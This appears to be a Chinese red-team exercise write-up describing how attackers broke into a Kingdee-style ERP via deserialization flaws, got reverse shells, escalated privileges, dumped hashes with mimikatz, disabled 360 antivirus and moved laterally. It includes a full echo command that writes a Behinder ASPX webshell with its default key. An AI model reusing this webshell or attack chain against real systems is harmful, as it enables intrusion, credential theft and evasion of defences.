红蓝|浅谈某省护打点经历（思路+工具）

通过鹰图搜索引擎找到靶标资产，发现该IP下存在X蝶-X星空的资产。

该系统的攻击路径有4条：

1. X蝶-X星空 SaveUserPassport.common.kdsvc 反序列化命令执行漏洞

2. X蝶-X星空 GetServiceUri.common.kdsvc 反序列化命令执行漏洞

3. X蝶-X星空 CloseForm.common.kdsvc 反序列化命令执行漏洞

4. X蝶-X星空 GetImportOutData.common.kdsvc 反序列化命令执行漏洞

通过FileProxyHandler.kdfile 任意文件读取漏洞读取配置文件信息：

 SaveUserPassport.common.kdsvc反序列化漏洞：

GetServiceUri.common.kdsvc 反序列化命令执行漏洞：

CloseForm.common.kdsvc 反序列化命令执行漏洞：

GetImportOutData.common.kdsvc 反序列化命令执行漏洞：

这四条路径都可以拿到shell，反弹shell到vps，获取服务器控制权：

在内网进行资产收集，也成功找到了该系统的内网环境证明确实进入了目标单位的内网：

 使用ms16-075漏洞进行权限提升，获取System权限。

在获取System权限之后运行mimikatz.exe，获取NTLM hash并解密得到Administrator的密码，后续进行哈希传递/密码传递利用。

 ftp匿名登录：

打印机弱口令：

此单位比较扯淡，UI和蜜罐似的，实际并不是。

存在于段子里的SQL注入：登录窗SQL注入。

echo "<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); /*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>" > "D:WebSitea.aspx"

这样直接写入冰蝎马，连上后发现上线不了CS，存在杀软。

后面通过MSF先上线，然后再通过反弹到CS上，上线了CS。

然后用甜土豆成功提权，开启RDP+添加管理员用户上去关闭杀软。

发现是360防护并非腾讯。

然后用hi360直接杀掉杀软进程。

后续工具无碍不会被杀，但是此设备在超融合中，扫内网无其他资产，无后续利用。

 该IP为靶标资产，发现8070端口存在某翼应用虚拟化系统。

nday写webshell，然后用蚁剑连接：

目标单位网络边界被突破。

▲ web

▲ ssh

三个案例，看点思路，中间没有特别详细的流程，打完点后是常规内网利用，里面用到过免杀的项目是：RingQ（但后续在没过杀软的系统用手工关闭）、关闭360的项目（hi360）。

资源共享->网盘分享

内网->关闭杀软

原文始发于微信公众号（阿呆攻防）：红蓝|浅谈某省护打点经历（思路+工具）